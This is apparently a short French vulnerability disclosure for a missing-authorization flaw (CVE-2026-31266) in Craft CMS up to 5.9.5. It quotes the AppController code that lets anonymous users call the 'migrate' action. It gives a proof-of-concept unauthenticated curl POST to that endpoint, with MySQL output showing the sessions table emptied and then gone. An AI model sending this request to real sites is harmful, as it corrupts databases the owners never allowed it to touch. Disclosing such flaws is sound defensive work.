
Recherche en sécurité sur le mécanisme d'authentification de Craft CMS
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-31266 |
| Fournisseur | Pixel & Tonic |
| Produit | Craft CMS |
| Versions concernées | <= 5.9.5 |
| CWE | CWE-862 (Autorisation manquante) |
| CVSS | 7.3 (Élevé) |
| Chercheur en sécurité | 0xRIXET |
screenshots/ - Démonstrations de preuve de conceptFichier: src/controllers/AppController.php
Lignes 65-68:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# Avec allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist